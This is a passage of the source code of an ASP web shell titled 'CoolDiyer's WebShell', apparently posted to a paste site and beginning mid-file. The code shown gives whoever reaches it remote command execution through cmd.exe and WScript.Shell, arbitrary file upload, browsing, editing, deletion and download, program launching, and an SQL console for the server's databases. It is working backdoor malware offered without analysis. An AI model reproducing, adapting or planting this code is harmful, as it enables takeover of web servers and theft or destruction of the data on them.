  718. Ms_File = Mid(Ms,InstrRev(Ms,"\")+1)
  719. Set Ms_Space = Shell.NameSpace(Ms_Folder)
  720. Set Ms_FilePar = Ms_Space.Parsename(Ms_File)
  721. Mt_Space.MoveHere Ms_FilePar
  722. if err Then
  723. err.Clear
  724. Response.write "Move Folder failure"
  725. Else
  726. Response.write "Already Move 1 File."
  727. End if
  728. End if
  729. If PerFolder <> "" and PerFile <> "" Then
  730. Shell.Namespace(PerFolder).Items.Item(PerFile).InvoKeverb
  731. If err Then
  732. err.Clear
  733. Response.write "Program execute failure"
  734. Else
  735. Response.write "Success Run " & PerFile & " Program."
  736. End If
  737. End If
  738. End Sub
  739. Sub Message(state,msg,flag)
  740. %>
  741. <TABLE width=480 border=0 align=center cellpadding=0 cellspacing=1 bgcolor=#91d70d>
  742. <TR>
  743. <TD class=TBHead>System Info</TD>
  744. </TR>
  745. <TR>
  746. <TD align=middle bgcolor=#ecfccd>
  747. <TABLE width=82% border=0 cellpadding=5 cellspacing=0>
  748. <TR>
  749. <TD><FONT color=red><%=state%></FONT></TD>
  750. <TR>
  751. <TD><P><%=msg%></P></TD>
  752. </TR>
  753. </TABLE>
  754. </TD>
  755. </TR>
  756. <TR>
  757. <TD class=TBEnd>
  758. <%If flag=0 Then%>
  759. <INPUT type=button value=Close onclick="window.close();">
  760. <%Else%>
  761. <INPUT type=button value=Return onClick="history.go(-1);">
  762. <%End if%>
  763. </TD>
  764. </TR>
  765. </TABLE>
  766. <%
  767. End Sub
  768. Sub UpLoadForm
  769. Dim num
  770. num = Trim(Request("num"))
  771. If Not isNumeric(num) or num="" Then num=1
  772. %>
  773. <TABLE width=480 border=0 align=center cellpadding=3 cellspacing=1 bgColor=#91d70d>
  774. <TR>
  775. <TD colspan=2 class=TBHead><B>File Upload</B></TD>
  776. </TR>
  777. <TR class=TBTD>
  778. <FORM action=<%=Url%>?Action=UpLoadForm method=Post>
  779. <TD align=middle>Upload Files Number</TD>
  780. <TD>
  781. <INPUT type=text name=num size=5>
  782. <INPUT type=submit value=Submit>
  783. </TD>
  784. </FORM>
  785. </TR>
  786. <FORM action=<%=Url%>?Up=yes method=Post enctype=multipart/form-data>
  787. <TR class=TBTD>
  788. <TD align=middle>Upload To a exist Dir</TD>
  789. <TD><INPUT type=text name=ServerPath></TD>
  790. </TR>
  791. <%
  792. For i=1 to num%>
  793. <TR class=TBTD>
  794. <TD align=middle>File<%=i%></TD>
  795. <TD><INPUT type=file name=file<%=i%>></TD>
  796. </TR>
  797. <%
  798. Next%>
  799. <TR class=TBTD>
  800. <TD colspan=2><LI>Warning: the file to upload can not to big,or speed will be slowly</TD>
  801. </TR>
  802. <TR>
  803. <TD class=TBEnd colspan=2><INPUT type=submit value="Begin Upload"></TD>
  804. </TR>
  805. </FORM>
  806. </TABLE><BR>
  807. <%
  808. End Sub
  809. Sub UpLoadSave()
  810. Server.ScriptTimeOut=3000
  811. Dim UpLoad,FormPath,Up_Str:Up_Str = ""
  812. Set UpLoad = New UpFile_Class
  813. UpLoad.GetData()
  814. FormPath = Upload.Form("ServerPath")
  815. If FormPath = "" Then
  816. Message "Upload failure","<LI>dir to upload dos not input",1
  817. Response.End
  818. End If
  819. if Right(FormPath,1) <> "\" then FormPath = FormPath & "\"
  820. FileCount = 0
  821. For Each FormName in UpLoad.file
  822. Set File = UpLoad.file(FormName)
  823. If File.FileSize > 0 Then
  824. File.SaveToFile FormPath & File.FileName
  825. If err then
  826. err.Clear
  827. Up_Str = Up_Str & "<LI>File:" & File.FilePath & File.FileName & "Upload failure,the dir not exist or dir cannot to write"
  828. Else
  829. Up_Str = Up_Str & "<LI>Local File:<FONT color=#ff2222>" & File.FilePath & File.FileName & "(" & File.FileSize & ")</FONT>Already upload to server<FONT color=#ff2222>" & FormPath & File.FileName & "</FONT>"
  830. FileCount = FileCount+1
  831. End if
  832. End if
  833. Set File = Nothing
  834. Next
  835. Up_Str = Up_Str & "<B><LI>Upload finished" & FileCount & "file(s) already upload to server</B>"
  836. Set UpLoad = Nothing
  837. Message "Upload Report",Up_Str,1
  838. Response.End
  839. End Sub
  840. Function HTMLEncode(Str)
  841. If isNull(Str) or Str = "" Then
  842. HTMLEncode = ""
  843. Else
  844. Str = Replace(Str, ">", ">")
  845. Str = Replace(Str, "<", "<")
  846. HTMLEncode = Str
  847. End if
  848. End Function
  849. Sub GetDriveList
  850. Dim DriveFso
  851. Set DriveFso = Server.Createobject("Scripting.FileSystemObject")
  852. For Each DriveA in DriveFso.Drives
  853. Response.write "<A href=" & Url & "?Path=" & DriveA.DriveLetter&":\>" & DriveA.DriveLetter&":</A> "
  854. Next
  855. Set DriveFso = Nothing
  856. End Sub
  857. Function GetoldFolder(Paths)
  858. Dim t
  859. If Len(Paths) <> 3 and Right(Paths,1) = "\" Then
  860. t = Left(Paths,Len(Paths)-1)
  861. GetoldFolder = Server.UrlEncode(Left(t,InstrRev(t,"\")))
  862. Else
  863. GetoldFolder = Server.UrlEncode(Left(Paths,InstrRev(Paths,"\")))
  864. End if
  865. End Function
  866. Sub OperCmd() 'Exucute CMD
  867. On Error Resume Next
  868. Dim ScriptCMD,FsoCmd,AbsPath,TempFile,Command,FileStream,FileText
  869. AbsPath = Server.MapPath(Url)
  870. Set FsoCmd = Server.CreateObject("Scripting.FileSystemObject")
  871. Set ScriptCMD = Server.CreateObject("WSCRIPT.SHELL")
  872. TempFile = Left(AbsPath,instrRev(AbsPath,"\")) & FsoCmd.GetTempName()
  873. If Request("SubCMD") <> "Create Folder" Then
  874. If Request("SubCMD") = "Execute CMD" Then
  875. Command = Request("OperDos")
  876. Else
  877. Command = Request("OperProgram")
  878. End if
  879. Call ScriptCMD.Run("cmd.exe /c " & Command & " > " & TempFile,0,True)
  880. Set FileStream = FsoCmd.OpenTextFile(TempFile,1,False)
  881. If Not FileStream.AtEndOfStream then
  882. FileText = FileStream.ReadAll
  883. Response.write HTMLEncode(FileText)
  884. Else
  885. Response.write "System echo nothing"
  886. End if
  887. FileStream.Close
  888. Set FileStream = Nothing
  889. FsoCmd.DeleteFile TempFile,True
  890. Else
  891. Command = Request("newFileOrFolder")
  892. if Instr(Command,":") then
  893. FsoCmd.CreateFolder Command
  894. else
  895. FsoCmd.CreateFolder Server.MapPath(".")&"\"&Command
  896. end if
  897. If err then
  898. err.Clear
  899. Response.write " Create folder failure"
  900. Else
  901. Response.write "Success create " & Command & " Folder"
  902. End If
  903. End if
  904. Set FsoCmd = Nothing
  905. Set ScriptCMD = Nothing
  906. End Sub
  907. Sub DisplayDirectory(FolderA) 'Main Interface
  908. On Error Resume Next
  909. Dim FSO,TheFolder,SubFolderA,FileA,oldFolder
  910. Dim RootWeb,UserWeb,WebAbsPath,WebPath
  911. %>
  912. <%
  913. oldFolder = Trim(Request("oldFolder")) 'Start
  914. If Right(FolderA,1) <> "\" Then FolderA = FolderA & "\"
  915. If odlFolder = "" Then oldFolder = FolderA
  916. RootWeb = Instr(1,FolderA,Server.MapPath("/"),1)
  917. UserWeb = Instr(1,FolderA,Mid(Server.MapPath(Url),1,InstrRev(Server.MapPath(Url),"\")),1) 'End
  918. If RootWeb > 0 Then 'Main dir
  919. WebAbsPath = Server.MapPath("/") & "\"
  920. WebPath="/" & Replace(Mid(FolderA,Len(WebAbsPath)+1),"\","/")
  921. ElseIf UserWeb > 0 Then 'virtual dir
  922. WebAbsPath = Server.MapPath(UrlPath) & "\"
  923. WebPath = UrlPath & Replace(Mid(FolderA,Len(WebAbsPath)+1),"\","/")
  924. End If
  925. Set FSO = Server.Createobject("Scripting.FileSystemObject")
  926. Set TheFolder = FSO.GetFolder(FolderA)
  927. Set SubFolderA = TheFolder.SubFolders
  928. Set FileA = TheFolder.Files
  929. %>
  930. <TABLE width=777 border=0 align=center cellpadding=0 cellspacing=0 bgcolor=#91d70d>
  931. <TR>
  932. <TD colspan=2>
  933. <TABLE width=100% border=0 cellpadding=3 cellspacing=1>
  934. <TR>
  935. <TD align=middle><b><FONT color=#ff2222>CoolDiyer's WebShell</FONT><b></TD>
  936. </TR>
  937. <FORM action=<%=Url%> method=Post name=CmdDos>
  938. <TR class=TBTD>
  939. <TD>
  940. <INPUT type=text name=OperDos value="<%=Request("OperDos")%>">
  941. <INPUT type=submit value="Execute CMD" name=SubCmd>
  942. <INPUT type=text name=OperProgram value="<%=Request("OperProgram")%>">
  943. <INPUT type=submit value="Run Program" name=SubCmd> [Please Used Abs Path]</font></TD>
  944. <TR bgcolor=#ffffff>
  945. <TD>
  946. <INPUT type=text name=newFileOrFolder>
  947. <INPUT type=button value="Create File" onclick="CreateFile(document.CmdDos.newFileOrFolder.value)">
  948. <INPUT type=hidden name=cmdFlag value=ok>
  949. <INPUT type=submit value="Create Folder" name=SubCMD></TD>
  950. </TR>
  951. </FORM>
  952. <%
  953. If Request("cmdFlag")="ok" Then%>
  954. <TR bgcolor=#ffffff>
  955. <TD><TEXTAREA rows=25 cols=125 style="background:#000000;color:#ffffff;"><%OperCmd%></TEXTAREA></TD>
  956. </TR>
  957. <%
  958. End If%>
  959. <TR class=TBTD>
  960. <TD>Switch Disk <%GetDriveList%> <font face=Webdings size=+1>H</font> Website Dir: <a href=?path=<%=Server.MapPath("/") & "\"%>><FONT color=#ff2222><%=Server.MapPath("/") & "\"%></FONT></a> <font face=Webdings size=+1>K</font> Current Path: <FONT color=#ff2222><%=FolderA%></FONT> <a href=# onclick="location.replace(location.href);"><font face=Webdings size=+1>q</font> Refresh</a></TD>
  961. </TR>
  962. <FORM action=<%=Url%> method=Post>
  963. <TR bgcolor=#ffffff>
  964. <TD>Dir View:
  965. <INPUT type=text name=Path size=28>
  966. <INPUT type=submit value=View> Please used Abs Path.Example: "F:\ASP\"</TD>
  967. </TR>
  968. </FORM>
  969. <TR>
  970. <TD bgcolor=#91d70d align=middle><b><FONT color=#ff2222>File Operate</FONT></b></TD>
  971. </TR>
  972. </TABLE>
  973. </TD>
  974. </TR>
  975. <TR>
  976. <TD>
  977. <TABLE width=100% border=0 cellpadding=0 cellspacing=1>
  978. <TR>
  979. <TD width=30% valign=top bgcolor=#ecfccd>
  980. <TABLE width=100% border=0 cellpadding=3 cellspacing=0>
  981. <TR>
  982. <TD>
  983. <A href=<%=Url%>?Path=<%=GetoldFolder(oldFolder)%>&oldFolder=<%=GetoldFolder(oldFolder)%>><FONT color=#FF8000><font face=Webdings>2</font></FONT><font face=Webdings>9</font><FONT color=#ff2222>Higher level Dir</FONT></A><BR>
  984. <%
  985. For Each SubFolderB in SubFolderA%>
  986. <A href=<%=Url%>?Path=<%=Server.UrlEncode(SubFolderB.Path & "\")%>&oldFolder=<%=GetoldFolder(SubFolderB.Path)%> title="<%=GetAttrib(SubFolderB.attrib) & Chr(10) & "Modify Time" & SubFolderB.DateLastModified%>">+<FONT color=#FF8000><font face=Webdings>2</font></FONT><%=SubFolderB.Name%></A><FONT color=#ff2222><font face=Webdings>r</font></FONT>
  987. <A href=<%=Url%>?Action=Del&name=<%=Server.Urlencode(SubFolderB.Path)%>&flag=2 target=_blank onclick="return Delyn()">Del</A>
  988. <A href=#CopyFolder onclick="Copy('<%=Server.Urlencode(SubFolderB.Path)%>',2)">Copy</A>
  989. <A href=<%=Url%>?Action=SetAttribForm&FileFolder=<%=Server.UrlEncode(SubFolderB.Path)%> target=_blank>attrib</A><BR>
  990. <%
  991. Next%>
  992. </TD>
  993. </TR>
  994. </TABLE>
  995. </TD>
  996. <TD valign=top bgcolor=#ecfccd height=320>
  997. <TABLE TABLE width=100% border=0 cellpadding=2 cellspacing=0>
  998. <TR height=25 bgcolor=#d8f99b>
  999. <TD width=48% align=center class=TBBO>File Name</TD>
  1000. <TD width=20% class=TBBO>File Size</TD>
  1001. <TD width=32% align=center class=TBBO>File Operate</TD>
  1002. </TR>
  1003. <%
  1004. For Each FileB in FileA%>
  1005. <TR>
  1006. <TD class=TBBO><FONT color=#ff8000><font face=Webdings>1</font></FONT>
  1007. <%If WebPath <> "" Then%><A href="<%=WebPath & FileB.Name%>" title="<%=GetAttrib(FileB.attrib) & Chr(10) & "Modify Time:" & FileB.DateLastModified%>" target=_blank><%=FileB.Name%></A></TD><%Else%><FONT title="<%=GetAttrib(FileB.attrib) & Chr(10) & "Modify Time:" & FileB.DateLastModified%>"><%=FileB.Name%></FONT></TD><%End If%>
  1008. <TD class=TBBO><%=FileB.Size%> byte</TD>
  1009. <TD align=middle class=TBBO>
  1010. <A href=<%=Url%>?Action=EditForm&File=<%=Server.Urlencode(FileB.Path)%> target=_blank>Edit</A>
  1011. <A href=# onclick="Copy('<%=Server.Urlencode(FileB.Path)%>',1)">Copy</A>
  1012. <A href=<%=Url%>?Action=Down&File=<%=Server.Urlencode(FileB.Path)%> target=_blank>Down</A>
  1013. <A href=<%=Url%>?Action=Del&name=<%=Server.Urlencode(FileB.Path)%>&flag=1 target=_blank onclick="return Delyn()">Del</A>
  1014. <A href=<%=Url%>?Action=SetAttribForm&FileFolder=<%=Server.Urlencode(FileB.Path)%> target=_blank>attrib</A>
  1015. </TD>
  1016. </TR>
  1017. <%
  1018. Next%>
  1019. </TABLE>
  1020. </TD>
  1021. </TR>
  1022. <TR>
  1023. <TD colspan=2 class=TBTD> Other Operate
  1024. <A href=<%=Url%>?Action=ShowServer target=_blank>[View Server Info]</A>
  1025. <A href=<%=Url%>?Action=CommonObj target=_blank>[Query Server COM]</A>
  1026. <A href=<%=Url%>?Action=ScanDriveForm target=_blank>[Scan Disk Info]</A>
  1027. <A href=<%=Url%>?Action=DispFsoCmdForm target=_blank>[Exucute CMD without FSO]</A>
  1028. <A href=<%=Url%>?Action=SQLForm target=_blank>[Control DataBase]</A>
  1029. <A href=<%=Url%>?Action=UpLoadForm target=_blank>[Upload without COM]</A>
  1030. </TD>
  1031. </TR>
  1032. <FORM action=<%=Url%>?Action=Loginout method=Post>
  1033. <TR>
  1034. <TD colspan=2 class=TBEnd><INPUT type=submit value="Exit Login"></TD>
  1035. </TR>
  1036. </FORM>
  1037. </TABLE>
  1038. </TD>
  1039. </TR>
  1040. </TABLE>
  1041. <%
  1042. End Sub
  1043. Function GetAttrib(FileAttrib)
  1044. Select Case FileAttrib
  1045. Case 0,16,32,48: GetAttrib = "Attrib:Archive"
  1046. Case 1,17,33,49: GetAttrib = "Attrib:ReadOnly"
  1047. Case 2,18,34,50: GetAttrib = "Attrib:Hidden"
  1048. Case 3,19,35,51: GetAttrib = "Attrib:ReadOnly,Hidden"
  1049. Case 4,20,36,52: GetAttrib = "Attrib:System"
  1050. Case 5,21,37,53: GetAttrib = "Attrib:System,ReadOnly"
  1051. Case 6,22,38,54: GetAttrib = "Attrib:System,Hidden"
  1052. Case 7,23,39,55: GetAttrib = "Attrib:System,ReadOnly,Hidden"
  1053. Case Else: GetAttrib = "Attrib:" & FileAttrib
  1054. End Select
  1055. End Function
  1056. Sub SQLForm()
  1057. %>
  1058. <TABLE width=480 border=0 align=center>
  1059. <TR>
  1060. <TD>
  1061. <TABLE width="100%" border=0 cellspacing=1 cellpadding=3 bgcolor=#91d70d>
  1062. <FORM action=<%=Url%>?Action=SQL&Flag=1 method=Post>
  1063. <TR>
  1064. <TD colspan=2 class=TBHead>Access database Operate</TD>
  1065. </TR>
  1066. <TR class=TBTD>
  1067. <TD align=middle>User</TD>
  1068. <TD><INPUT type=text name=AcUser> [None to empty]</TD>
  1069. </TR>
  1070. <TR class=TBTD>
  1071. <TD align=middle>Pass</TD>
  1072. <TD><INPUT type=text name=AcPass> [None to empty]</TD>
  1073. </TR>
  1074. <TR class=TBTD>
  1075. <TD align=middle>Database path and name</TD>
  1076. <TD><INPUT type=text name=AcPath><INPUT class=INPUTt type=radio value=Ote name=SelectPath checked> Relative<INPUT class=INPUTt type=radio value=Abs name=SelectPath > Abs</TD>
  1077. </TR>
  1078. <TR class=TBTD>
  1079. <TD align=middle>SQL Sentence</TD>
  1080. <TD><INPUT type=text size=50 name=SqlCommand></TD>
  1081. </TR>
  1082. <TR>
  1083. <TD class=TBEnd colspan=2><INPUT type=submit value="Execute Command"></TD>
  1084. </TR>
  1085. </FORM>
  1086. </TABLE>
  1087. </TD>
  1088. </TR>
  1089. <TR>
  1090. <TD height=10></TD>
  1091. </TR>
  1092. <TR>
  1093. <TD>
  1094. <TABLE width="100%" border=0 cellspacing=1 cellpadding=3 bgcolor=#91d70d>
  1095. <FORM action=<%=Url%>?Action=SQL&Flag=2 method=Post>
  1096. <TR>
  1097. <TD colspan=2 class=TBHead><B>SQL Database Operate</B></TD>
  1098. </TR>
  1099. <TR class=TBTD>
  1100. <TD align=middle width=120>User</TD>
  1101. <TD><INPUT type=text name=SqlUser></TD>
  1102. </TR>
  1103. <TR class=TBTD>
  1104. <TD align=middle>Pass</TD>
  1105. <TD><INPUT type=text name=SqlPass> [None to empty]</TD>
  1106. </TR>
  1107. <TR class=TBTD>
  1108. <TD align=middle>Database Name</TD>
  1109. <TD><INPUT type=text name=SqlDataBase></TD>
  1110. </TR>
  1111. <TR class=TBTD>
  1112. <TD align=middle>Server Domain Name</TD>
  1113. <TD><INPUT type=text name=SqlServer> [Local can be empty,Remote is IP]</TD>
  1114. </TR>
  1115. <TR class=TBTD>
  1116. <TD align=middle>SQL Sentence</TD>
  1117. <TD><INPUT type=text size=50 name=SqlCommand></TD>
  1118. </TR>
  1119. <TR>
  1120. <TD class=TBEnd colspan=2><INPUT type=submit value="Execute Command"></TD>
  1121. </TR>
  1122. </FORM>
  1123. </TABLE>
  1124. </TD>
  1125. </TR>
  1126. <TR>
  1127. <TD height=10></TD>
  1128. </TR>
  1129. <TR>
  1130. <TD>
  1131. <TABLE width="100%" border=0 cellspacing=1 cellpadding=3 bgcolor=#91d70d>
  1132. <FORM action=<%=Url%>?Action=SQL&Flag=3 method=Post>
  1133. <TR>
  1134. <TD colspan=2 class=TBHead>Database DSN Operate</TD>
  1135. </TR>
  1136. <TR class=TBTD>
  1137. <TD align=middle width=120>User</TD>
  1138. <TD><INPUT type=text name=DsnUser> [None to empty]</TD>
  1139. </TR>
  1140. <TR class=TBTD>
  1141. <TD align=middle>Pass</TD>
  1142. <TD><INPUT type=text name=DsnPass> [None to empty]</TD>
  1143. </TR>
  1144. <TR class=TBTD>
  1145. <TD align=middle>DSN Name</TD>
  1146. <TD><INPUT type=text name=DsnName></TD>
  1147. </TR>
  1148. <TR class=TBTD>
  1149. <TD align=middle>SQL Sentence</TD>
  1150. <TD><INPUT type=text size=50 name=SqlCommand></TD>
  1151. </TR>
  1152. <TR>
  1153. <TD class=TBEnd colspan=2><INPUT type=submit value="Execute Command" name=DS></TD>
  1154. </TR>
  1155. </FORM>
  1156. </TABLE>
  1157. </TD>
  1158. </TR>
  1159. </TABLE><BR>
  1160. <%
  1161. End Sub
  1162. Function Access()
  1163. Dim AcPath,AcUser,AcPass,DBQ
  1164. AcPath = Request("AcPath")
  1165. AcUser = Request("AcUser")
  1166. AcPass = Request("AcPass")
  1167. If Request("SelectPath") = "Abs" Then
  1168. DBQ = AcPath & ";"
  1169. Else
  1170. DBQ = Server.MapPath(AcPath) & ";"
  1171. End If
  1172. Access = "DRIVER={Microsoft Access Driver (*.mdb)};User=" & AcUser & ";Pwd=" & AcPass & ";DBQ=" & DBQ & ";"
  1173. End Function
  1174. Function SqlServer()
  1175. Dim SqlServerName,SqlDataBase,SqlUser,SqlPass
  1176. SqlServerName = Request("SqlServer")
  1177. SqlDataBase = Request("SqlDataBase")
  1178. SqlUser = Request("SqlUser")
  1179. SqlPass = Request("SqlPass")
  1180. SqlServer = "Driver={SQL Server};Server=" & SqlServerName & ";Database=" & SqlDataBase & ";Uid="& SqlUser & ";Pwd=" & SqlPass & ";"
  1181. End Function
  1182. Function DsnSql()
  1183. Dim DsnName,DsnUser,DsnPass
  1184. DsnName = Request("DsnName")
  1185. DsnUser = Request("DsnUser")
  1186. DsnPass = Request("DsnPass")
  1187. DsnSql = "DSN=" & DsnName & ";Uid=" & DsnUser & ";Pwd=" & DsnPass & ";"
  1188. End Function
  1189. Sub SQL()
  1190. On Error Resume Next
  1191. Dim Conn,ConnStr,Rs,RsStr,Datas
  1192. Select Case Request("Flag")
  1193. Case 1: ConnStr = Access()
  1194. Case 2: ConnStr = SqlServer()
  1195. Case 3: ConnStr = DsnSql()
  1196. Case Else
  1197. Message "Database Operate failure","<LI>Please appoint database type!",1
  1198. Response.End
  1199. End Select
  1200. Response.write "<P><INPUT type=button value='<< Return' onclick=""history.go(-1)""></P>"
  1201. RsStr = Trim(Request("SqlCommand"))
  1202. Set Conn = Server.Createobject("ADODB.Connection")
  1203. Conn.Open ConnStr
  1204. If err.number <> 0 Then
  1205. Message "Database Operate failure","<LI>" & err.Description,0
  1206. err.Clear
  1207. Response.End
  1208. End If
  1209. If LCase(Left(RsStr,6))="select" Then
  1210. Set Rs = Conn.Execute(RsStr)
  1211. If err.number<>0 Then
  1212. Message "Database Operate failure","<LI>" & err.Description,0
  1213. err.Clear
  1214. Response.End
  1215. End If
  1216. If Rs.Eof Then
  1217. Message "Database Operate Success","<LI>RecordSet Empty.",0
  1218. Else
  1219. Response.Write "<TABLE width=770 border=0 align=center cellspacing=1 cellpadding=3 bgColor=#91d70d >" & VbCrLf & "<TR class=TBHead>" & VbCrLf
  1220. For i=0 to Rs.Fields.Count-1
  1221. Response.write "<TD><B>" & Rs(i).Name & "</B></TD>" & VbCrLf
  1222. Next
  1223. Response.write "</TR>" & VbCrLf
  1224. Datas = Rs.GetRows(-1)
  1225. Rs.Close
  1226. Conn.Close
  1227. Set Rs = Nothing
  1228. Set Conn = Nothing
  1229. For i=0 to Ubound(Datas,2)
  1230. Response.write "<TR align=middle class=TBTD>" & VbCrLf
  1231. For j=0 to Ubound(Datas)
  1232. If Trim(Datas(j,i))="" or isNull(Datas(j,i)) Then
  1233. Response.write "<TD>----</TD>" & VbCrLf
  1234. Else
  1235. Response.write "<TD>" & Server.HTMLEncode(Datas(j,i)) & "</TD>" & VbCrLf
  1236. End If
  1237. Next
  1238. Response.write "</TR>" & VbCrLf
  1239. Next
  1240. Response.write "</TABLE>" & VbCrLf & "</TD>" & VbCrLf & "</TR>" & VbCrLf & "</TABLE>"
  1241. End If
  1242. Else
  1243. Conn.Execute RsStr,IngRecs
  1244. If err Then
  1245. Message "Database Operate failure","<LI>" & err.Description,0
  1246. err.Clear
  1247. Else
  1248. Message "Database Operate Success","<LI>Effect row Number:<FONT color=#ff2222>" & IngRecs ,0
  1249. End If
  1250. End If
  1251. End Sub%>
  1252. <Script Language="Javascript">
  1253. function Delyn()
  1254. {
  1255. var Delyn;
  1256. Delyn = confirm("Can not recover to delete file or folder !\n Confirm to delete?");
  1257. return Delyn;
  1258. }
  1259. function CreateFile(file)
  1260. {
  1261. if(file=="")
  1262. {
  1263. alert("File Name cannot be empty,confirm input it");
  1264. }
  1265. else
  1266. {
  1267. window.open("<%=Url%>?Action=EditForm&file="+file);
  1268. }
  1269. }
  1270. function Copy(name,flag)
  1271. {
  1272. var CopytoPath;
  1273. CopytoPath = prompt("Please input dest path (Abs) \nExample: F:\\ASP\\ or F:\\ASP\\index.asp","");
  1274. if((CopytoPath==null)||(CopytoPath==""))
  1275. {
  1276. alert("Copy failure,Dest cannot be empty");
  1277. }
  1278. else
  1279. {
  1280. window.open("<%=Url%>?Action=CopyFile&oDir="+name+"&nDir="+CopytoPath+"&flag="+flag);
  1281. }
  1282. }
  1283. </script>
  1284. </BODY>
  1285. </HTML>
  1286.  
  1287.  
  1288. ЙПґ«
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement